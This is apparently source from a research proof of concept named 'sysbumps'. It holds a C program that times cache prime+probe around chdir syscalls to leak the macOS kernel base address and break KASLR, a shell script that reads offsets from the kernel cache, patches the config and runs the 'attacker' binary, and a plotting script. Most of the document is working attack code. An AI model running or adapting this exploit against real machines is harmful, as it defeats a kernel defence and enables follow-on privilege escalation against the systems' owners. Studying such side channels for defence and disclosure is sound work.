10 | #define KER_START 0xfffffe000f004000
11 | #define KER_SIZE 0x67E8000
12 | #define KER_END ((0xfffffe002f000000 + KER_SIZE + 0x4000))
13 | #define DATA_END_OFFSET 0x52D8000
14 | #define CNT 1
15 |
16 | #define ALIGN_SIZE 0x4000
17 | #define NUM_SLOT ((KER_END - KER_START)/ALIGN_SIZE)
18 | #define ITERATION 10
19 | #define ESET_OFFSET 0x400000
20 | #define ESET_SIZE 12
21 |
22 | #endif
23 |
24 |
--------------------------------------------------------------------------------
/sysbumps/findKASLR/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include "timing.h"
10 | #include "memory.h"
11 | #include "config.h"
12 |
13 |
14 | char * eset_data;
15 |
16 | uint64_t * res;
17 |
18 | //------------------------//
19 | char * user = "./";
20 | //------------------------//
21 |
22 |
23 | int leak_val(void* addr){
24 | chdir(addr);
25 | chdir(addr);
26 | chdir(addr);
27 | return 1;
28 | }
29 |
30 | void get_cycle(uint64_t * valid_cycle, uint64_t * invalid_cycle){
31 | void * eset[12];
32 | register uint64_t tmp;
33 |
34 | gen_eset(&eset_data[0], eset, &eset_data[0]);
35 |
36 | tmp = 0;
37 | for(int i = 0 ;i < 100000; i++){
38 | prime(eset);
39 | memory_access(&eset_data[0]);
40 | tmp += probe(eset);
41 | }
42 |
43 | * valid_cycle = tmp/100000;
44 |
45 | tmp = 0;
46 | for(int i = 0 ;i < 100000; i++){
47 | prime(eset);
48 | memory_fence();
49 | tmp += probe(eset);
50 | }
51 | * invalid_cycle = tmp/100000;
52 | }
53 |
54 |
55 | int main(int argc, char * argv[]){
56 | void * addr;
57 | void * eset[12];
58 | void * target[4] = {user, user, user};
59 | uint64_t valid_cycle, invalid_cycle;
60 | struct timeval tv_s, tv_e;
61 | register uint64_t tmp, threshold;
62 |
63 |
64 |
65 | eset_data = (void *)malloc(sizeof(char) * ESET_OFFSET * 0x4000);
66 | res = (uint64_t *) malloc(sizeof(uint64_t) * 10000000);
67 |
68 | start_timer();
69 |
70 | get_cycle(&valid_cycle, &invalid_cycle);
71 | threshold = invalid_cycle + (valid_cycle - invalid_cycle)/3;
72 |
73 | printf("[Probing cycle] valid address : %llu, invalid address : %llu, threshold : %llu\n\n", valid_cycle, invalid_cycle, threshold);
74 |
75 | printf("========Start to finding kernel slide!========\n");
76 |
77 | memset(res, 0, sizeof(uint64_t) * 10000000);
78 | int64_t idx = 0;
79 |
80 | gettimeofday(&tv_s, NULL);
81 |
82 | for(int i = 0 ;i < ITERATION ; i++){
83 | for(uint64_t s_idx = 0 ; s_idx < NUM_SLOT ; s_idx++){
84 | idx = (s_idx * 73)%NUM_SLOT;
85 | addr = (void *) KER_START + (ALIGN_SIZE * idx);
86 | target[2] = addr;
87 | gen_eset(addr, eset, &eset_data[0]);
88 | do{
89 | for(int j = 0; j < 3 ; j++){
90 | prime(eset);
91 | leak_val(target[j]);
92 | }
93 | tmp = probe(eset);
94 | } while (tmp < (invalid_cycle - 200) || tmp > (valid_cycle + 200));
95 | res[idx] += tmp;
96 | }
97 | }
98 |
99 | uint64_t valid_page_cnt = 0;
100 | void * end_data_addr = 0;
101 | uint64_t kern_size_slot = KER_SIZE/ALIGN_SIZE;
102 |
103 | for(uint64_t s_idx = 0; s_idx < NUM_SLOT ; s_idx++){
104 | if(res[s_idx]/ITERATION > threshold){
105 | valid_page_cnt++;
106 | if (valid_page_cnt > 10 ){
107 | valid_page_cnt = 0;
108 | for(int s_jdx = s_idx + kern_size_slot ; s_jdx > 0 ; s_jdx--){
109 | if(res[s_jdx]/ITERATION > threshold){
110 | if(valid_page_cnt == 0 ){
111 | end_data_addr = (void *) KER_START + (ALIGN_SIZE * s_jdx);
112 | valid_page_cnt++;
113 | }
114 | else if(valid_page_cnt > 10){ break; }
115 | else{ valid_page_cnt++; }
116 | }
117 | else{
118 | valid_page_cnt = 0;
119 | }
120 | }
121 | break;
122 | }
123 | }
124 | else { valid_page_cnt = 0; }
125 | }
126 |
127 | gettimeofday(&tv_e, NULL);
128 |
129 | double start = (tv_s.tv_sec) * 1000 + (tv_s.tv_usec)/1000.0;
130 | double end = (tv_e.tv_sec) * 1000 + (tv_e.tv_usec)/1000.0;
131 | double diff = (end - start) /1000.0;
132 |
133 | void * kernel_addr = end_data_addr - DATA_END_OFFSET + 0x4000;
134 |
135 | #ifdef __DEBUG
136 | char * dfp = fopen(RESULT_FILE, "w");
137 | addr = (void *) KER_START;
138 | for(uint64_t x = 0 ; x < NUM_SLOT; x++){
139 | addr = (void *) KER_START + (ALIGN_SIZE * x);
140 | fprintf(dfp, "0x%llx %llu\n", addr, res[x]/ITERATION);
141 | }
142 | fprintf(dfp, "0x%llx\n", kernel_addr);
143 | fclose(dfp);
144 | #endif
145 |
146 | printf("kernel base addr\t= \033[1;31m0x%llx\033[0m\n", kernel_addr);
147 | printf("Time to break KASLR\t= %.2fs\n", diff);
148 | printf("==============================================\n");
149 | stop_timer();
150 | return 0;
151 | }
152 |
--------------------------------------------------------------------------------
/sysbumps/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #SYSBUMPS_PATH="Input/Sysbumps/file/path"
4 | SYSBUMPS_PATH=""
5 | FINDKASLR_PAHT=$SYSBUMPS_PATH"/findKASLR"
6 | CONFIG_FILE=$FINDKASLR_PAHT"/config.h"
7 |
8 | KERNEL_CACHE="/private/var/db/KernelExtensionManagement/KernelCollections/BootKernelCollection.kc"
9 |
10 | if ! test -e "$KERNEL_CACHE"; then
11 | echo "there is no kerenl cache file."
12 | echo "Set the kernel cache file path!"
13 | exit
14 | fi
15 |
16 | DATA_OFFSET=$(otool -l "$KERNEL_CACHE"|grep "__DATA$" -A5 | grep "fileoff")
17 | DATA_OFFSET="${DATA_OFFSET:10}"
18 | DATA_SIZE=$(otool -l "$KERNEL_CACHE"|grep "__DATA$" -A5 | grep "filesize")
19 | DATA_SIZE="${DATA_SIZE:10}"
20 |
21 | DATA_END=$(($DATA_OFFSET + $DATA_SIZE))
22 | DATA_END=$(printf '%X' $DATA_END)
23 |
24 |
25 | LINKEDIT_OFFSET=$(otool -l "$KERNEL_CACHE"|grep "__LINKEDIT$" -A5 | grep "fileoff")
26 | LINKEDIT_OFFSET="${LINKEDIT_OFFSET:10}"
27 | LINKEDIT_SIZE=$(otool -l "$KERNEL_CACHE"|grep "__LINKEDIT$" -A5 | grep "filesize")
28 | LINKEDIT_SIZE="${LINKEDIT_SIZE:10}"
29 |
30 | LINKEDIT_END=$(($LINKEDIT_OFFSET + $LINKEDIT_SIZE))
31 | LINKEDIT_END=$(printf '%X' $LINKEDIT_END)
32 |
33 | cd $FINDKASLR_PAHT
34 |
35 | sed -i '' "/#define DATA_END_OFFSET/c\\
36 | #define DATA_END_OFFSET 0x$DATA_END
37 | " $CONFIG_FILE
38 |
39 | sed -i '' "/#define KER_SIZE/c\\
40 | #define KER_SIZE 0x$LINKEDIT_END
41 | " $CONFIG_FILE
42 |
43 | make -s
44 |
45 | ./attacker
46 |
47 |
48 |
--------------------------------------------------------------------------------
/sysbumps/util/graph.py:
--------------------------------------------------------------------------------
1 | import matplotlib.pyplot as plt
2 | import sys
3 |
4 | fp = open("res", 'r')
5 | lines = fp.readlines()
6 |
7 | base_addr = 0xfffffe000f004000
8 | slide = 0x4000
9 |
10 | offset = list()
11 | time = list()
12 |
13 | end = int((int(lines[-1].strip(),16) - base_addr)/slide + 6000)
14 |
15 | for idx in range(end) :
16 | line = lines[idx]
17 | line = line.strip("\n")
18 | token = line.split()
19 | offset.append(idx)
20 | time.append(int(token[1]))
21 |
22 | plt.figure(figsize=(12,5))
23 | plt.plot(offset, time)
24 | axes = plt.gca()
25 | plt.ylim([0,3000])
26 | plt.xlim([0, len(offset)])
27 | plt.xticks([0, len(offset)])
28 |
29 | plt.ticklabel_format(axis='x',useOffset=False, style='plain')
30 | plt.xlabel("offset")
31 | plt.ylabel("Probing cycle")
32 |
33 | plt.show()
34 |
--------------------------------------------------------------------------------